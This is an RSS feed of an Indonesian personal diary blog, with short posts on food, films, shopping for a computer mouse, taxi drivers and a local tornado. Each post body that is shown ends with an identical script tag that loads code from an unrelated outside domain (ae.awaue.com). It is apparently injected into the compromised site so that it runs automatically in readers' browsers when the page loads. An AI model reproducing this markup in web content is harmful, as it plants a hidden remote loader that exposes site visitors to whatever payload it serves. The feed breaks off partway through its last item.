<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hermansaksono &#187; diary</title>
	<atom:link href="http://hermansaksono.com/tag/diary/feed" rel="self" type="application/rss+xml" />
	<link>http://hermansaksono.com</link>
	<description>Patternless thoughts, pointless wisdom</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:15:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Facial Tengkleng</title>
		<link>http://hermansaksono.com/2008/04/facial-tengkleng.html</link>
		<comments>http://hermansaksono.com/2008/04/facial-tengkleng.html#comments</comments>
		<pubDate>Mon, 28 Apr 2008 01:33:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/04/facial-tengkleng.html</guid>
		<description><![CDATA[Hari kemarin, Ibu saya bertandang ke Solo dan pulang membawa tengkleng. Seperti wong Solo selalu bilang, makanan Sala enak-enak, termasuk diantaranya: tengkleng. Suapan pertama terasa enak. Bumbunya enteng dan santannya ringan. Dagingnya empuk penuh rasa, tapi tetap liat dan tidak sepo. Cocok banget dimakan pake nasi pulen. Di sudut mangkok ada bulat-bulat, ah mungkin ini [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://img213.imageshack.us/img213/7527/tengklengrq3.jpg" alt="Tengkleng Kambing" class="center" /><br />Hari kemarin, Ibu saya bertandang ke Solo dan pulang membawa tengkleng. Seperti wong Solo selalu bilang, makanan Sala enak-enak, termasuk diantaranya: tengkleng.</p>
<p>Suapan pertama terasa enak. Bumbunya enteng dan santannya ringan. Dagingnya empuk penuh rasa, tapi tetap liat dan tidak sepo. Cocok banget dimakan pake nasi pulen. Di sudut mangkok ada bulat-bulat, ah mungkin ini <abbr title="testikel">torpedo</abbr> kambing. Saya coba ulik daging itu&#8230;</p>
<p>Dan ternyata itu adalah <span style="font-weight: bold;">bola mata kambing</span>!</p>
<p>OMG. Dan setelah tengkleng itu diaduk-aduk lagi, ternyata yang saya makan adalah rahang kambing beserta gigi-giginya (yang semestinya tidak pernah gosok gigi).</p>
<p>Bener, saya tidak masalah memakan organ. Tapi makan wajah kambing? Ewwww. <a href="http://tikabanget.com/2008/04/25/kartu-anti-mutung-ituh/">Priceless</a>?</p>
<div class="seealso">Gambar pinjam dari <a href="http://www.wikimu.com/News/DisplayNews.aspx?id=3265">postingan</a> di Wikimu. Tengkleng yang saya makan bukan tengkleng yang dibahas di Wikimu.</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/04/facial-tengkleng.html/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Ndoro vs Kambing Jantan</title>
		<link>http://hermansaksono.com/2008/04/ndoro-vs-kambing-jantan.html</link>
		<comments>http://hermansaksono.com/2008/04/ndoro-vs-kambing-jantan.html#comments</comments>
		<pubDate>Wed, 16 Apr 2008 01:25:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>
		<category><![CDATA[photolog]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/04/ndoro-vs-kambing-jantan.html</guid>
		<description><![CDATA[Suatu hari biasa di Blogger&#8217;s Day, Ritz Carlton&#8230;]]></description>
			<content:encoded><![CDATA[<p>Suatu hari biasa di Blogger&#8217;s Day, Ritz Carlton&#8230;</p>
<p><a href="http://imageshack.us/"><img src="http://img208.imageshack.us/img208/925/ndorovskambinguv3.jpg" alt="Ndoro vs Kambing Jantan" border="0" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/04/ndoro-vs-kambing-jantan.html/feed</wfw:commentRss>
		<slash:comments>57</slash:comments>
		</item>
		<item>
		<title>Seraphim Falls</title>
		<link>http://hermansaksono.com/2008/04/seraphim-falls.html</link>
		<comments>http://hermansaksono.com/2008/04/seraphim-falls.html#comments</comments>
		<pubDate>Tue, 15 Apr 2008 03:37:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[diary]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/04/seraphim-falls.html</guid>
		<description><![CDATA[Seorang teman yang datang dari jauh menyebabkan saya, Tika, dan Alvonsius menonton film di kala tidak ada film yang bagus. Pilihan pertama jatuh kepada filmnya Andy Lau yang desas-desusnya keceng banget: Three Kingdoms. Tapi, menurut Tika—yang udah nonton—Three Kingdoms itu jelek. Maka pilihan pindah ke Seraphim Falls, karena film satunya lagi—The Game Plan—tidak menarik sama [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://imageshack.us/"><img src="http://img224.imageshack.us/img224/7623/seraphimfallsvb1.jpg" class="center" alt="Seraphim Falls" /></a><br />Seorang teman yang datang dari jauh menyebabkan saya, <a href="http://tikabanget.com/">Tika</a>, dan <a href="http://alvonsius.blogsome.com/">Alvonsius</a> menonton film di kala tidak ada film yang bagus. Pilihan pertama jatuh kepada filmnya Andy Lau yang desas-desusnya keceng banget: Three Kingdoms.</p>
<p>Tapi, menurut Tika—yang udah nonton—Three Kingdoms itu jelek.</p>
<p>Maka pilihan pindah ke Seraphim Falls, karena film satunya lagi—The Game Plan—tidak menarik sama sekali.</p>
<p>Jam 21.00 kami duduk manis di Studio 5 menunggu Seraphim Falls diputar. Dan ternyata film itu jelek banget. Adegan kejar-kejaran over heroik yang episodik terus-menerus mengisi layar, untuk kemudian ditutup dengan <span style="font-style: italic;">ending</span>  kontemplatif ala indie. Padahal ritme awalnya Hollywood. Sungguh tidak nyambung.</p>
<p>Alangkah baiknya jika tidak disebut film cerita, karena lebih mendekati film dokumenter tentang &#8220;Survival Jika Ditembak dan Terdampar di Daerah Barat Yang Liar.&#8221; Saran saya, tonton saja ketika tidak ingin nonton film karena menontonya mengakibatkan efek traumatis yang serius.</p>
<p><center>•••</center><br />Esok harinya saya tanya ke Tika: &#8220;Emang Three Kingdoms jelek banget ya Tik?&#8221;</p>
<p>&#8220;Bagus kok. Lebih bagus dariapda Seraphim Falls,&#8221; jawabnya.</p>
<p>&#8220;Kemarin kamu bilang jelek!?&#8221;</p>
<p>&#8220;Iya, soalnya aku males nonton Three Kingdoms lagi,&#8221; jawabnya sambil meringis.</p>
<p>Sejak saat itu saya memutuskan membenci Tika hingga hari Kamis.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/04/seraphim-falls.html/feed</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Berburu Tetikus</title>
		<link>http://hermansaksono.com/2008/04/berburu-tetikus.html</link>
		<comments>http://hermansaksono.com/2008/04/berburu-tetikus.html#comments</comments>
		<pubDate>Mon, 14 Apr 2008 12:26:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/04/berburu-tetikus.html</guid>
		<description><![CDATA[Kenapa mencari mouse bisa jadi perkara yang sedemikian complicated? Berburu mouse dari satu toko ke toko lain hasilnya selalu: terlalu kecil—atau terlalu besar. Terlalu ecek-ecek—atau terlalu norak. Desain super-duper ergonomis—atau super-duper maksa. Jika bermerek, mahal. Tapi merek jreng tidak menjamin fungsionalnya bagus. Ketika akhirnya saya beli mouse besutan Microsoft (yang mahal tapi diskon 50%), sewaktu [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://img56.imageshack.us/img56/4870/mousekuky3.jpg" class="center" alt="Mouse" /></p>
<p>Kenapa mencari mouse bisa jadi perkara yang sedemikian <i>complicated</i>?</p>
<p>Berburu mouse dari satu toko ke toko lain hasilnya selalu: terlalu kecil—atau terlalu besar. Terlalu ecek-ecek—atau terlalu norak. Desain super-duper ergonomis—atau super-duper maksa. Jika bermerek, mahal.</p>
<p>Tapi merek <span style="font-style: italic;">jreng</span> tidak menjamin fungsionalnya bagus. Ketika akhirnya saya beli mouse besutan Microsoft (yang mahal tapi diskon 50%), sewaktu dipakai&#8230; ya tuhaaaaaannnn gerakannya gak akurat banget!</p>
<p>Apakah tidak ada yang menciptakan mouse biasa, ukuran sedang, desain normal, dan berfungsi dengan baik?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/04/berburu-tetikus.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Memasak Steak Sapi</title>
		<link>http://hermansaksono.com/2007/06/memasak-steak-sapi.html</link>
		<comments>http://hermansaksono.com/2007/06/memasak-steak-sapi.html#comments</comments>
		<pubDate>Mon, 11 Jun 2007 04:26:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>
		<category><![CDATA[kuliner]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/06/memasak-steak-sapi.html</guid>
		<description><![CDATA[Hari Sabtu kemarin teman-teman kantor kumpul di rumah untuk bikin barbecue steak. Berhubung udah lama gak masak, saya rupanya agak grogi juga. Untung roast potato-nya mateng dan gravy-nya cukup coklat (berkat tips drg. Evy. biasanya kalau bikin gravy gak bisa coklat). Yang jadi masalah justru perdebatan antara kami perihal teknik memasak dagingnya. Dalam soal membuat [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://imageshack.us/"><img src="http://img117.imageshack.us/img117/7922/steakpartyyk6.jpg" alt="Image Hosted by ImageShack.us" class="center" border="0" /></a></p>
<p>Hari Sabtu kemarin teman-teman kantor kumpul di rumah untuk bikin <span style="font-style: italic;">barbecue steak</span>. Berhubung udah lama gak masak, saya rupanya agak grogi juga. Untung <span style="font-style: italic;">roast potato</span>-nya mateng dan <span style="font-style: italic;">gravy</span>-nya cukup coklat (berkat tips <a href="http://senyumsehat.wordpress.com/">drg. Evy</a>. biasanya kalau bikin gravy gak bisa coklat). Yang jadi masalah justru perdebatan antara kami perihal teknik memasak dagingnya. Dalam soal membuat steak, yang masalah bukan bumbunya tapi bagaimana memasaknya.</p>
<p><span class="fullpost"><a href="http://img183.imageshack.us/my.php?image=steakgk9.jpg" class="left"><img src="http://img514.imageshack.us/img514/6716/steaktnit7.jpg" alt="Ini potret steak yang kemarin!" border="0" /></a>Bagi kita orang Indonesia, yang namanya daging sapi itu ya harus direbus dulu sampai empuk, atau minimal dimasak sampai sangat matang. Daging sapi lokal yang keras memang mau tidak mau harus direbus. Akibatnya gaya kuliner Indonesia biasanya lebih mengeksplorasi bumbu-bumbunya yang <span style="font-style: italic;">spicy </span>itu. Steak sedikit berbeda karena pusat cita rasa justru pada daging, bukan pada bumbunya.</p>
<p>Untuk kasus steak, karena yang digunakan adalah daging impor yang empuk, merebus justru membuat <span style="font-style: italic;">juice</span> atau sari rasa sapi (yang enak) lenyap. Sementara, kalau digoreng atau dibakar terlalu lama, daging yang terdiri dari protein-protein akan menjadi keras sehingga yang tersisa hanyalah daging berserat. Jadi teknik memasaknya harus pas, panas api harus pas, dan timingnya harus dalam presisi detik. Daging sapi memang lebih menantang dibanding daging kambing karena lebih gampang berserat kalau dimasak kelamaan.</p>
<p>Nah ini ada beberapa catatan saya, setelah bikin steak sapi kemarin (semoga bisa terus diperbaikii):
<ol>
<li>Steak tidak direbus, kecuali bestik jawa.</li>
<li>Untuk menambah rasa, terutama orang kita yang suka spicy, daging boleh direndam (di-marinade) bumbu2 seperti merica, bawang, minyak zaitun dan daun rosemary. Tapi sebaiknya tidak diberi garam karena akan membuat daging menjadi keras.</li>
<li>Daging yang di-<span style="font-style: italic;">marinade</span> harus disimpan di tempat dingin dan tidak boleh terlalu lama; kalau kelamaan, sari daging akan mengalir keluar sehingga cita rasa sapi akan lenyap.</li>
<li>Dalam hal memasak daging sapi, timing adalah segalanya menurut saya; kalau terlalu cepet daging masih mentah, kalau kelamaan daging jadi hambar dan berserat. Kematangan yang ideal, menurut saya, bagian dalam daging ada cairan kemerahan sedikit. Ini bukan daging yang belum matang tapi sari rasa daging.</li>
<li>Menguji kematangan daging cukup dari keras tidaknya daging. Ini butuh pengalaman memasak yang saya sendiri belum terampil. Yang jelas jangan menyayat daging untuk mengecek kematangan karena akan membuat lubang dan membuat sari rasa daging mengalir keluar.</li>
<li>Memasak steak dengan digoreng lebih mudah daripada dibakar. Dengan digoreng, suhu dan panas bisa lebih merata. Dibakar jelas lebih enak karena daging sedikit terbakar sehingga menambah cita rasa, tetapi mengontrol suhu arang itu susah.</li>
<li>Mengunci sari rasa daging itu penting. Daging yang digoreng dengan mentega atau dibakar, kedua sisinya harus segera dimatangkan supaya sari-rasanya tidak bisa keluar.</li>
</ol>
<p>Nah <a href="http://tikabanget.blogspot.com/">mbak Tika</a> ini <span style="font-style: italic;">ngeyel</span> kalau daging steak harus direbus dulu. Lalu, kata dia, sebaiknya dilumuri nanas supaya lebih empuk. Kalau bikin semur dan rendang ya direbus dulu, kalau steak sepertinya tidak lazim ya? Lalu perlukah daging direndam nanas? Dari pengamatan dari beberapa situs <a href="http://www.ochef.com/724.htm">ini</a> dan <a href="http://en.allexperts.com/q/Cooking-Meat-750/tenderizing-beef-1.htm">itu</a>, ternyata nanas memang membantu melunakkan daging, tetapi hanya pada bagian luarnya saja. Nanas justru membuat daging menjadi hambar dan berserat.</p>
<p>Oiya hasilnya? Ada yang empuk, ada yang keras kematangan, ada yang mentah alot. Gak konsisten <label><img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_tongue.gif' alt='&#58;&#80;' class='wp-smiley' width='18' height='18' title='&#58;&#80;' /></label>.</p>
<p><span style="font-size:85%;">NB: Yang jepret foto si Pindo.</span></span><a href="http://hermansaksono.blogspot.com/2007/06/memasak-steak-sapi.html">Baca terusannya &raquo;</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/06/memasak-steak-sapi.html/feed</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>Ketika Bersin Harus Memilih Tisu dan Kacu</title>
		<link>http://hermansaksono.com/2007/04/ketika-bersin-harus-memilih-tisu-dan.html</link>
		<comments>http://hermansaksono.com/2007/04/ketika-bersin-harus-memilih-tisu-dan.html#comments</comments>
		<pubDate>Fri, 27 Apr 2007 01:24:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diary]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/04/ketika-bersin-harus-memilih-tisu-dan-kacu.html</guid>
		<description><![CDATA[Akhir-akhir ini saya gampang bersin. Masalahnya agak ruwet, AC kantor tidak dingin sehingga harus pasang kipas angin. Kalau pakai kipas angin, saya jadi bersin-bersin tidak bisa kerja. Tetapi, kalau tidak pakai kipas, saya gerah sehingga tidak bisa kerja. Saya pilih opsi yang pertama. Masalahnya, bersin pasti diikuti dengan ingus. Supaya tidak belepotan, ingus harus dilap. [...]]]></description>
			<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/RjFVdJcPwzI/AAAAAAAAASI/j6_FuVLFNrs/s1600-h/facialtissue.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/RjFVdJcPwzI/AAAAAAAAASI/j6_FuVLFNrs/s400/facialtissue.jpg" alt="" id="BLOGGER_PHOTO_ID_5057917815752737586" border="0" /></a><br />Akhir-akhir ini saya gampang bersin. Masalahnya agak ruwet, AC kantor tidak dingin sehingga harus pasang kipas angin. Kalau pakai kipas angin, saya jadi bersin-bersin tidak bisa kerja. Tetapi, kalau tidak pakai kipas, saya gerah sehingga tidak bisa kerja. Saya pilih opsi yang pertama.</p>
<p>Masalahnya, bersin pasti diikuti dengan ingus. Supaya tidak belepotan, ingus harus dilap. Tidak di meja atau di baju teman. Ini repotnya, saya harus memilih mengelap pakai kertas tisu atau bawa kacu.</p>
<p>Kacu (atau sapu tangan) lebih classy, tetapi setiap dicuci saya menambah buangan limbah cucian yang pada akhirnya mempolusi sungai dan air tanah. Sementara kalau saya pakai tisu, berarti saya membunuh pepohonan, merusak ekosistem, membinasakan paru-paru dunia, dan mempercepat laju global warming.</p>
<p>Akhirnya pilih tisu karena pohon lebih mudah diperbaharui.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/04/ketika-bersin-harus-memilih-tisu-dan.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Cerita Para Sopir Taksi</title>
		<link>http://hermansaksono.com/2007/03/kisah.html</link>
		<comments>http://hermansaksono.com/2007/03/kisah.html#comments</comments>
		<pubDate>Fri, 02 Mar 2007 00:40:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diary]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/03/cerita-para-sopir-taksi.html</guid>
		<description><![CDATA[Kekurangan naik becak itu adalah jarak kepala penumpang dengan kepala abang becak yang terlalu jauh. Apalagi kedua kepala tadi disekat oleh kanopi, sehingga ngobrol dengan si abang itu sulit sekali. Bis sama saja. Pak sopir biasanya sibuk mencari cara menyisipkan bis segede gaban agar bisa menembus kerumuman kendaraan. Sementara keneknya lebih lebih concern pada proses [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://bp2.blogger.com/_Rim-cL2259M/RdBh0-mRphI/AAAAAAAAAPM/C0nAWZ_BFks/s400/03taxi.png" alt="" id="BLOGGER_PHOTO_ID_5030628346557474322" class="left" border="0" />Kekurangan naik becak itu adalah jarak kepala penumpang dengan kepala abang becak yang terlalu jauh. Apalagi kedua kepala tadi disekat oleh kanopi, sehingga ngobrol dengan si abang itu sulit sekali. Bis sama saja. Pak sopir biasanya sibuk mencari cara menyisipkan bis segede gaban agar bisa menembus kerumuman kendaraan. Sementara keneknya lebih lebih <span style="font-style: italic;">concern</span> pada proses penarikan ongkos penumpang yang jauh dekat sama saja itu.</p>
<p>Nah, enaknya naik taksi itu kita bisa ngobrol dengan leluasa dengan pak sopir taksi, terutama kalau pak sopirnya ramah. Ada banyak hal menarik yang dapat kita ketahui dari mereka. Ada yang menawarkan jasa makelar tanah, ada pula yang <a href="http://hermansaksono.blogspot.com/2005/02/my-sex-for-pay-scandal.html">menawari PSK</a>. Tetapi pada umumnya mereka bercerita tentang betapa beratnya beban seorang sopir taksi.<span id="more-298"></span></p>
<p>Di Jogja, <em>supply</em> taksi itu memang melebihi <span style="font-style: italic;">demand</span>. Ada 800 armada taksi, sementara permintaan transportasi taksi menurun sejak tarif taksi dinaikkan (yang dinaikkan karena harga BBM dinaikkan). Setoran taksi ke perusahaan taksi itu lumayan besar, Rp 150.000 per hari. Padahal, katanya, sehari bisa dapat Rp 100.000 itu sudah banyak. Alhasil banyak supir taksi yang mengutang  setoran.</p>
<p>Cara mereka memandang masalah ini sangat beragam. Ada yang pasrah mengadapi cekikan setoran. Ada juga yang menyalahkan reformasi. Kata salah satu sopir, dulu pas jamannya Pak Harto jauh lebih enak: sopir taksi bisa menabung banyak. Sekarang sehari cuma bisa membawa pulang Rp 15.000 bersih. Mungkin Pak Sopir itu lupa kalau yang menyebabkan itu juga Pak Harto. <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='18' height='18' title='&#58;&#41;' /></p>
<p>Ada juga yang lebih prihatin. Putranya tiga, sekolah semua, satu mahasiswa. Padahal uang dari narik taksi tidak seberapa untuk biaya hidup, apalagi untuk sekolah. Waktu saya tanya, bagaimana caranya nutup kebutuhan biaya sekolah, pak sopir itu menjawab<br />
<blockquote>&#8220;Ya <u>harus bisa</u> mas. Dicariin caranya, biar anak saya besok pekerjaannya lebih baik.&#8221;</p></blockquote>
<p>Ah hebatnya pak sopir ini, pendidikan memang kunci kemajuan bangsa bukan? Andai saja yang di pemerintahan sana semangatnya bisa sehebat itu.</p>
<p>Kemarin saya naik taksi lagi, si pak sopir yang ini juga bercerita tentang setoran yang tinggi dan rendahnya pendapatan taksi, katanya:<br />
<blockquote>&#8220;Berat mas. Kalau yang duniawi sudah tidak terkejar, tidak sanggup saya. Saya ngejar yang akherat saja.&#8221;</p></blockquote>
<p>Wah jadi malu saya. Kalau anda, ngejar yang mana? <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_wink.gif' alt='&#59;&#41;' class='wp-smiley' width='18' height='18' title='&#59;&#41;' /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/03/kisah.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Teka teki laknat</title>
		<link>http://hermansaksono.com/2007/02/teka-teki-laknat.html</link>
		<comments>http://hermansaksono.com/2007/02/teka-teki-laknat.html#comments</comments>
		<pubDate>Thu, 22 Feb 2007 02:41:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/02/teka-teki-laknat.html</guid>
		<description><![CDATA[Pembaca blog yang budiman dan budiwati, apakah anda sudah bermain tktq.net? Sudah sampai level berapa? Sebetulnya, saya itu menghindari segala jenis game, karena membikin ketagihan. Tapi gara-gara perempuan laknat ini, saya jadi ikut-ikutan. Lha gimana lagi, dia sampai tidak tidur gara-gara mencari clue game laknat ini. Wajar kan kalau saya jadi penasaran. Saya melihat. Saya [...]]]></description>
			<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/Rd0G4umRpnI/AAAAAAAAAQU/pq6xCKX7XBw/s1600-h/tktq.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/Rd0G4umRpnI/AAAAAAAAAQU/pq6xCKX7XBw/s400/tktq.jpg" alt="" id="BLOGGER_PHOTO_ID_5034187530121094770" border="0" /></a>Pembaca blog yang budiman dan budiwati, apakah anda sudah bermain <a href="http://tktq.net/">tktq.net</a>? Sudah sampai level berapa? <label><img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_bigsmile.gif' alt='&#58;&#68;' class='wp-smiley' width='18' height='18' title='&#58;&#68;' /></label></p>
<p>Sebetulnya, saya itu menghindari segala jenis game, karena membikin ketagihan. Tapi gara-gara <a href="http://tikabanget.blogspot.com/">perempuan laknat ini</a>, saya jadi ikut-ikutan. Lha gimana lagi, dia sampai tidak tidur gara-gara mencari clue game laknat ini. Wajar kan kalau saya jadi penasaran.</p>
<p>Saya melihat. Saya mencoba. Saya ketagihan.</p>
<p>Saya terhenti di level 28 <label><img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_tongue.gif' alt='&#58;&#80;' class='wp-smiley' width='18' height='18' title='&#58;&#80;' /></label>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/02/teka-teki-laknat.html/feed</wfw:commentRss>
		<slash:comments>48</slash:comments>
		</item>
		<item>
		<title>Testimoni seorang geek tentang angin puting beliung</title>
		<link>http://hermansaksono.com/2007/02/testimoni-seorang-geek-tentang-angin.html</link>
		<comments>http://hermansaksono.com/2007/02/testimoni-seorang-geek-tentang-angin.html#comments</comments>
		<pubDate>Mon, 19 Feb 2007 01:46:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/02/testimoni-seorang-geek-tentang-angin-puting-beliung.html</guid>
		<description><![CDATA[Kemarin, Toni dan Alvons teman saya (yang geek tulen) menyaksikan langsung angin puting beliung yang membuat daerah sekitar Baciro, Jogja, berantakan. Selangkapnya ada di laporan pandangan matanya Alvons. Masih seputar angin puting beliung, kebetulan saya kenal empat orang yang tinggal di daerah Baciro. Bu Lilik, guru matematika SMA saya, rumahnya berantakan. Beliau tinggal di seberang [...]]]></description>
			<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/RdkOjumRplI/AAAAAAAAAP8/KygpFSIjPgM/s1600-h/putingbeliungcover.jpg"><img class="left" src="http://hermansaksono.com/wp-content/uploads/blogger/_Rim-cL2259M/RdkOjumRplI/AAAAAAAAAP8/KygpFSIjPgM/s320/putingbeliungcover.jpg" alt="" id="BLOGGER_PHOTO_ID_5033070065530021458" border="0" /></a>Kemarin, Toni dan Alvons teman saya (yang <span style="font-style: italic;">geek</span> tulen) menyaksikan langsung angin puting beliung yang membuat daerah sekitar Baciro, Jogja, berantakan. Selangkapnya ada di <a href="http://alvonsius.blogsome.com/2007/02/18/dikejar-angin-puyuh-di-jogja/">laporan pandangan matanya Alvons</a>.<span id="more-290"></span></p>
<p>Masih seputar angin puting beliung, kebetulan saya kenal empat orang yang tinggal di daerah Baciro. Bu Lilik, guru matematika SMA saya, rumahnya berantakan. Beliau tinggal di seberang bioskop Mataram yang <span style="font-style: italic;">billboard</span>-nya rubuh diterpa angin liar kemarin itu. Alhamdullilah, keluarga beliau baik-baik saja.</p>
<p>Teman SMA saya yang tinggal di belakang bioskop Mataram lebih beruntung, karena rumahnya tidak apa-apa, walaupun angin sampai ke depan rumahnya.</p>
<p>Teman kantor saya rumahnya sedikit rusak, tidak parah. &#8220;Diperbaiki sedikit,&#8221; katanya. Hari ini dia masuk kantor agak terlambat karena harus membersihkan puing-puing yang berserakan.</p>
<p>Bude saya yang tinggal agak jauh dari bioskop Mataram rumahnya tidak apa-apa, tetapi teman-teman calon menantunya menginap di rumah beliau karena asrama Detasemen Zeni yang terletak di sebelah bioskop Mataram rusak.</p>
<p>Saya sendiri belum bisa melihat langsung kondisi daerah tersebut, karena tadi malam jalan masih di tutup polisi. Yang saya tahu, aktivitas masih berjalan normal di daerah-daerah yang tidak terkena angin puting beliung.
<div class="seealso">Foto adalah hak cipta Handri Arto, diambil dari detikcom</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/02/testimoni-seorang-geek-tentang-angin.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Ada Uang Pas Enggak?</title>
		<link>http://hermansaksono.com/2007/02/ada-uang-pas-enggak.html</link>
		<comments>http://hermansaksono.com/2007/02/ada-uang-pas-enggak.html#comments</comments>
		<pubDate>Thu, 15 Feb 2007 17:39:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/02/ada-uang-pas-enggak.html</guid>
		<description><![CDATA[Tadi malam beli empat gelas rootbeer dan tiga kotak popcorn dengan adik saya. Habisnya 52 ribu, padahal duit tersisa di dompet pas 50 ribu. Kalau dikembaliin malu, karena sebagian popcorn dan rootbeer sudah dicicil (baca: dimakan). Akhirnya kocek dirogoh, dompet diricek, dan tas diubrek-ubrek, tapi hasilnya tetap nihil. Untunglah di sudut terdalam saku saya ada [...]]]></description>
			<content:encoded><![CDATA[<p>Tadi malam beli empat gelas rootbeer dan tiga kotak popcorn dengan adik saya. Habisnya 52 ribu, padahal duit tersisa di dompet pas 50 ribu. Kalau dikembaliin malu, karena sebagian popcorn dan rootbeer sudah dicicil (baca: dimakan). Akhirnya kocek dirogoh, dompet diricek, dan tas diubrek-ubrek, tapi hasilnya tetap nihil. Untunglah di sudut terdalam saku saya ada uang 50 ribu <span style="font-style: italic;">nylempit</span>. Yes sip! Lantas saya mengulungkan dua lembar uang limapuluh ribuan ke mas penjaga cafetaria bioskop yang dari tadi telah menunggu. &#8220;Ini mas,&#8221; ujar saya.</p>
<p>&#8220;Nggak ada uang pas mas?&#8221; tanya mas penjaga.</p>
<p>Masnya ini nggak sensitif atau tanya semacam itu memang SOP ya?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/02/ada-uang-pas-enggak.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>3 Bunga Merah Besar</title>
		<link>http://hermansaksono.com/2007/01/3-bunga-merah-besar.html</link>
		<comments>http://hermansaksono.com/2007/01/3-bunga-merah-besar.html#comments</comments>
		<pubDate>Tue, 30 Jan 2007 18:34:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/01/3-bunga-merah-besar.html</guid>
